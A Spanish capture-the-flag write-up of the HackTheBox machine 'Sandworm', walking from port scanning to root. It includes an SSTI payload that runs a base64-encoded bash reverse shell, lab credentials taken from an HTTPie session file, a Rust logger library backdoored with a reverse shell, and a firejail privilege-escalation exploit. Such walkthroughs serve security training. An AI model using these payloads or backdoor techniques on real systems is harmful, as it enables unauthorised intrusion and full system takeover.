Sandworm es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Sandworm 10.10.11.218 a /etc/hosts como sandworm.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -p- --open -sS --min-rate 5000 -n -vvv -oA enumeration/nmap1 10.10.11.218 Nmap scan report for 10.10.11.218 Host is up, received reset ttl 63 (0.040s latency). Scanned at 2023-06-23 13:24:22 GMT for 12s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 443/tcp open https syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Jun 23 13:24:34 2023 -- 1 IP address (1 host up) scanned in 12.43 seconds |
Hecho el primer escaneo rápido, vamos a sacar más info de los puertos descubiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ nmap -sCV -p 22,80,443 -oA enumeration/nmap2 10.10.11.218 Nmap scan report for 10.10.11.218 Host is up (0.040s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA) |_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to https://ssa.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) | ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA | Not valid before: 2023-05-04T18:03:25 |_Not valid after: 2050-09-19T18:03:25 |_http-title: Secret Spy Agency | Secret Security Service Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jun 23 13:25:07 2023 -- 1 IP address (1 host up) scanned in 17.76 seconds |
Encontramos un dominio ssa.htb, así que lo añadimos al fichero hosts y procedemos con la enumeración del mismo.
Enumeración
Al acceder al portal web, nos redirecciona automáticamente al puerto 443 y vemos la siguiente ventana

Navegamos por la página y encontramos una sección donde podemos cifrar y descrifrar mensajes mediante claves pgp

Así que vamos a hacer alguna prueba a ver que podemos sacar.
Generamos en primer lugar una clave
|
1 2 3 4 5 6 7 |
$ gpg --full-generate-key ... ... pub rsa3072 2023-06-23 [SC] 6FAFA8FD52877F29B5807DADB8AAFC4CCDE27601 uid bytemind <bytemind@ssa.htb> sub rsa3072 2023-06-23 [E] |
Una vez generada exportamos la clave pública
|
1 |
$ gpg --armor --export bytemind | sponge pub.asc |
Y ciframos un mensaje de prueba
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ echo "hola" | gpg --clear-sign -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 hola -----BEGIN PGP SIGNATURE----- iQGzBAEBCgAdFiEEb6+o/VKHfym1gH2tuKr8TM3idgEFAmSVpAkACgkQuKr8TM3i dgHtMwv+MT1Rdny+PD2NinWm4ovKQ8zzkrRGEndx/Cg0IQQYW/PrCRZmnFX7tdbc ocCNDg1QwwV70guGPW6B36SqNNuiVej28Jou4ggqMArT7A01OqpSGqqJH8Kwrv0D 6NbAhA3t/9JLj2PiH0Ej/kCjow+v1Akgg9wt7+WFURCg8YeOnKOkEVRZa5e6KhTu qIloMop8AhAQwgTxYV/RpCIec+uv3Gzd2dXwB/t4RwoYI3NQXorNPt1d7SR5ixMP 2kJNkc6cRyNNO8APAqvldG/mswpddHdt05NHhaie/5hYNucbhwEDli0F0MqvC7qR Fmm7DlcEaIdpiuTHpKJ8G62IZq0MGb2gfihw3HpWIQLtJA1LcG7PRtGFJ6u0opjj PGwas0tSH12EDmSBjtrygyc9z4Jj9I8BI5855sVunZ89k6tQHIflypqpn0WIpkoR kgZ549YjtbdxYu3mejVbvH26h9nix4OagEUCNZC++YCgrYn364fqnr7+MOC1vayv OQYPpt8n =UJfh -----END PGP SIGNATURE----- |
Nos vamos a la web y lo probamos, verificando con ello que funciona

Después de varias pruebas y búsquedas en google encontramos una forma de poder cambiar el id de la clave
Siguiendo el ejemplo de la web anterior, modificamos el id de nuestra clave
|
1 2 |
[ absoluta ] (1)* bytemind <bytemind@ssa.htb> [desconocida] (2). {{4*4}} |
Y probamos a cifrar otro mensaje con la idea de verificar si el portal es vulnerable a SSTI, y si nos fijamos en lugar de aparecer el string {{4*4}} aparece el número 16

Así que vamos a generar nuestra rev shell.
En primer lugar generamos la revshell en base 64
|
1 2 |
$ echo "/bin/bash -i >& /dev/tcp/10.10.14.8/4444 0>&1" | base64 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjgvNDQ0NCAwPiYxCg== |
Y en segundo el payload que envíaremos como id de la clave para abusar de la vuln de SSTI que tiene el portal
|
1 |
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjgvNDQ0NCAwPiYxCg== | base64 -d | bash"').read() }} |
Ahora enviamos el mensaje y obtendremos acceso en nuestra escucha
|
1 2 3 4 5 6 7 8 9 10 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.8] from sandworm.htb [10.10.11.218] 56130 bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell /usr/local/sbin/lesspipe: 1: dirname: not found atlas@sandworm:/var/www/html/SSA$ id id uid=1000(atlas) gid=1000(atlas) groups=1000(atlas) atlas@sandworm:/var/www/html/SSA$ |
Escalando a silentobserver
Estamos dentro pero aún no tenemos la flag, así que revisamos la home del usuario
|
1 2 3 4 5 |
atlas@sandworm:~/.config$ ls -l ls -l total 4 dr-------- 2 nobody nogroup 40 Jun 23 13:22 firejail drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 httpie |
Vemos un directorio de firejail, un software de sandbox, que podría venir más adelante.
Revisamos en los directorios encontrados y vemos unas credenciales
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json cat admin.json { "__meta__": { "about": "HTTPie session file", "help": "https://httpie.io/docs#sessions", "httpie": "2.6.0" }, "auth": { "password": "quietLiketheWind22", "type": null, "username": "silentobserver" }, "cookies": { "session": { "expires": null, "path": "/", "secure": false, "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA" } }, "headers": { "Accept": "application/json, */*;q=0.5" } } |
Y conectamos por ssh con las claves obtenidas
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
$ ssh silentobserver@sandworm.htb The authenticity of host 'sandworm.htb (10.10.11.218)' can't be established. ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:51: [hashed name] ~/.ssh/known_hosts:94: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'sandworm.htb' (ED25519) to the list of known hosts. silentobserver@sandworm.htb's password: Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Jun 23 02:21:23 PM UTC 2023 System load: 0.10888671875 Usage of /: 78.3% of 11.65GB Memory usage: 17% Swap usage: 0% Processes: 221 Users logged in: 0 IPv4 address for eth0: 10.10.11.218 IPv6 address for eth0: dead:beef::250:56ff:feb9:c7b8 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Mon Jun 12 12:03:09 2023 from 10.10.14.31 silentobserver@sandworm:~$ id uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver) |
Obteniendo la flag de user
Una vez dentro, simplemente cogemos la flag
|
1 2 3 4 5 |
silentobserver@sandworm:~$ ls -l total 4 -rw-r----- 1 root silentobserver 33 Jun 23 13:23 user.txt silentobserver@sandworm:~$ cat user.txt 522xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxba |
Escalado al usuario atlas
El siguiente paso será el escalado a root, así que enumeramos la máquina y revisamos los ficheros con permisos de suid
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
silentobserver@sandworm:~$ find / -perm -4000 -user root 2>/dev/null /usr/local/bin/firejail /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/libexec/polkit-agent-helper-1 /usr/bin/mount /usr/bin/sudo /usr/bin/gpasswd /usr/bin/umount /usr/bin/passwd /usr/bin/chsh /usr/bin/chfn /usr/bin/newgrp /usr/bin/su /usr/bin/fusermount3 |
Y vemos el binario de firejail que encontramos en la home del usuario atlas
|
1 2 |
silentobserver@sandworm:~$ ls -l /usr/local/bin/firejail -rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail |
Vemos que el grupo jailer tiene permisos para ejecutarlo como root así que revisamos y vemos que el usuario atlas pertenece a este grupo
|
1 2 |
silentobserver@sandworm:~$ cat /etc/group|grep jailer jailer:x:1002:atlas |
Así que vamos a necesitar volver. Revisamos los procesos y vemos uno interesante

Revisamos la ruta /opt/tipnet y encontramos lo siguiente
|
1 2 3 4 5 6 7 8 9 10 11 |
silentobserver@sandworm:/opt/tipnet$ ll total 128 drwxr-xr-x 5 root atlas 4096 Jun 6 11:49 ./ drwxr-xr-x 4 root root 4096 Jun 23 20:34 ../ -rw-rw-r-- 1 atlas atlas 45820 Jun 23 20:34 access.log -rw-r--r-- 1 root atlas 46161 May 4 16:38 Cargo.lock -rw-r--r-- 1 root atlas 288 May 4 15:50 Cargo.toml drwxr-xr-- 6 root atlas 4096 Jun 6 11:49 .git/ -rwxr-xr-- 1 root atlas 8 Feb 8 09:10 .gitignore* drwxr-xr-x 2 root atlas 4096 Jun 6 11:49 src/ drwxr-xr-x 3 root atlas 4096 Jun 6 11:49 target/ |
Se trata de una aplicación en rust llamada tipnet, así que revisamos el fichero toml
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
silentobserver@sandworm:/opt/tipnet$ cat Cargo.toml [package] name = "tipnet" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] chrono = "0.4" mysql = "23.0.1" nix = "0.18.0" logger = {path = "../crates/logger"} sha2 = "0.9.0" hex = "0.4.3" |
Y revisamos el fichero principal de la aplicación
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 |
$ cat data/tipnet/src/main.rs extern crate logger; use sha2::{Digest, Sha256}; use chrono::prelude::*; use mysql::*; use mysql::prelude::*; use std::fs; use std::process::Command; use std::io; // We don't spy on you... much. struct Entry { timestamp: String, target: String, source: String, data: String, } fn main() { println!(" ,, MMP\"\"MM\"\"YMM db `7MN. `7MF' mm P' MM `7 MMN. M MM MM `7MM `7MMpdMAo. M YMb M .gP\"Ya mmMMmm MM MM MM `Wb M `MN. M ,M' Yb MM MM MM MM M8 M `MM.M 8M\"\"\"\"\"\" MM MM MM MM ,AP M YMM YM. , MM .JMML. .JMML. MMbmmd'.JML. YM `Mbmmd' `Mbmo MM .JMML. "); let mode = get_mode(); if mode == "" { return; } else if mode != "upstream" && mode != "pull" { println!("[-] Mode is still being ported to Rust; try again later."); return; } let mut conn = connect_to_db("Upstream").unwrap(); if mode == "pull" { let source = "/var/www/html/SSA/SSA/submissions"; pull_indeces(&mut conn, source); println!("[+] Pull complete."); return; } println!("Enter keywords to perform the query:"); let mut keywords = String::new(); io::stdin().read_line(&mut keywords).unwrap(); if keywords.trim() == "" { println!("[-] No keywords selected.\n\n[-] Quitting...\n"); return; } println!("Justification for the search:"); let mut justification = String::new(); io::stdin().read_line(&mut justification).unwrap(); // Get Username let output = Command::new("/usr/bin/whoami") .output() .expect("nobody"); let username = String::from_utf8(output.stdout).unwrap(); let username = username.trim(); if justification.trim() == "" { println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported."); logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification."); return; } logger::log(username, keywords.as_str().trim(), justification.as_str()); search_sigint(&mut conn, keywords.as_str().trim()); } fn get_mode() -> String { let valid = false; let mut mode = String::new(); while ! valid { mode.clear(); println!("Select mode of usage:"); print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n"); io::stdin().read_line(&mut mode).unwrap(); match mode.trim() { "a" => { println!("\n[+] Upstream selected"); return "upstream".to_string(); } "b" => { println!("\n[+] Muscular selected"); return "regular".to_string(); } "c" => { println!("\n[+] Tempora selected"); return "emperor".to_string(); } "d" => { println!("\n[+] PRISM selected"); return "square".to_string(); } "e" => { println!("\n[!] Refreshing indeces!"); return "pull".to_string(); } "q" | "Q" => { println!("\n[-] Quitting"); return "".to_string(); } _ => { println!("\n[!] Invalid mode: {}", mode); } } } return mode; } fn connect_to_db(db: &str) -> Result<mysql::PooledConn> { let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream"; let pool = Pool::new(url).unwrap(); let mut conn = pool.get_conn().unwrap(); return Ok(conn); } fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) { let keywords: Vec<&str> = keywords.split(" ").collect(); let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE "); for (i, keyword) in keywords.iter().enumerate() { if i > 0 { query.push_str("OR "); } query.push_str(&format!("data LIKE '%{}%' ", keyword)); } let selected_entries = conn.query_map( query, |(timestamp, target, source, data)| { Entry { timestamp, target, source, data } }, ).expect("Query failed."); for e in selected_entries { println!("[{}] {} ===> {} | {}", e.timestamp, e.source, e.target, e.data); } } fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) { let paths = fs::read_dir(directory) .unwrap() .filter_map(|entry| entry.ok()) .filter(|entry| entry.path().extension().unwrap_or_default() == "txt") .map(|entry| entry.path()); let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash") .unwrap(); let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)") .unwrap(); let now = Utc::now(); for path in paths { let contents = fs::read_to_string(path).unwrap(); let hash = Sha256::digest(contents.as_bytes()); let hash_hex = hex::encode(hash); let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap(); if existing_entry.is_none() { let date = now.format("%Y-%m-%d").to_string(); println!("[+] {}\n", contents); conn.exec_drop(&stmt_insert, params! { "timestamp" => date, "data" => contents, "hash" => &hash_hex, }, ).unwrap(); } } logger::log("ROUTINE", " - ", "Pulling fresh submissions into database."); } |
Si revisamos el código vemos que interactúa con una base de datos en MySQL, y que además de eso carga una librería llamada logger para el registro de logs.
Revisamos en la máquina y encontramos la librería logger, y además tenemos permisos de escritura sobre la misma
|
1 2 3 4 5 |
silentobserver@sandworm:/opt/crates$ ll total 12 drwxr-xr-x 3 root atlas 4096 May 4 17:26 ./ drwxr-xr-x 4 root root 4096 Jun 23 20:38 ../ drwxr-xr-x 5 atlas silentobserver 4096 May 4 17:08 logger/ |
Así que buscamos en google y encontramos una forma de crear una revshell en rust
Por lo que modificamos el fichero lib.rs de la librería logger para añadir nuestra revshell y quedaría así
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
// I couldn't find the owner of the exploit, anyone who knows can comment so I can give the credits ;) extern crate chrono; use std::fs::OpenOptions; use std::io::Write; use chrono::prelude::*; use std::process::Command; pub fn log(user: &str, query: &str, justification: &str) { let command = "bash -i >& /dev/tcp/10.10.14.8/4445 0>&1"; let output = Command::new("bash") .arg("-c") .arg(command) .output() .expect("not work"); if output.status.success() { let stdout = String::from_utf8_lossy(&output.stdout); let stderr = String::from_utf8_lossy(&output.stderr); println!("standar output: {}", stdout); println!("error output: {}", stderr); } else { let stderr = String::from_utf8_lossy(&output.stderr); eprintln!("Error: {}", stderr); } let now = Local::now(); let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string(); let log_message = format!("[{}] - User: {}, Query: {}, Justification", timestamp, user, query); let mut file = match OpenOptions::new().append(true).create(true).open("log.txt") { Ok(file) => file, Err(e) => { println!("Error opening log file: {}", e); return; } }; if let Err(e) = file.write_all(log_message.as_bytes()) { println!("Error writing to log file: {}", e); } } |
Una vez hecho compilamos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
silentobserver@sandworm:/opt/crates/logger$ cargo build Compiling autocfg v1.1.0 Compiling libc v0.2.142 Compiling num-traits v0.2.15 Compiling num-integer v0.1.45 Compiling time v0.1.45 Compiling iana-time-zone v0.1.56 Compiling chrono v0.4.24 Compiling logger v0.1.0 (/opt/crates/logger) warning: unused variable: `justification` --> src/lib.rs:8:37 | 8 | pub fn log(user: &str, query: &str, justification: &str) { | ^^^^^^^^^^^^^ help: if this is intentional, prefix it with an underscore: `_justification` | = note: `#[warn(unused_variables)]` on by default warning: `logger` (lib) generated 1 warning Finished dev [unoptimized + debuginfo] target(s) in 9.90s |
Y esperamos a la siguiente ejecución para obtener acceso en nuestra escucha con el usuario atlas
|
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4445 listening on [any] 4445 ... connect to [10.10.14.8] from sandworm.htb [10.10.11.218] 59204 bash: cannot set terminal process group (61963): Inappropriate ioctl for device bash: no job control in this shell atlas@sandworm:/opt/tipnet$ id id uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer) atlas@sandworm:/opt/tipnet$ |
Escalado a root
Ahora volvemos a firejail, y encontramos un exploit para escalar privilegios
Por lo que lo descargamos, damos permisos de ejecución y ejecutamos
|
1 2 3 |
atlas@sandworm:~$ chmod +x firejail.py atlas@sandworm:~$ python3 firejail.py You can now run 'firejail --join=62253' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell. |
El mismo generará un proceso malicioso que nos permitirá el escalado, así que abrimos una segunda terminal y cargamos contra el proceso
|
1 2 3 4 |
atlas@sandworm:~$ firejail --join=62253 changing root to /proc/62253/root Warning: cleaning all supplementary groups Child process initialized in 14.27 ms |
Una vez hecho, escalamos a root
|
1 2 3 4 |
atlas@sandworm:~$ su - root@sandworm:~# id uid=0(root) gid=0(root) groups=0(root) root@sandworm:~# |
Obteniendo la flag de root
Siendo ya root, simplemente, cogemos la flag
|
1 2 |
root@sandworm:~# cat /root/root.txt 8xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxcc |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










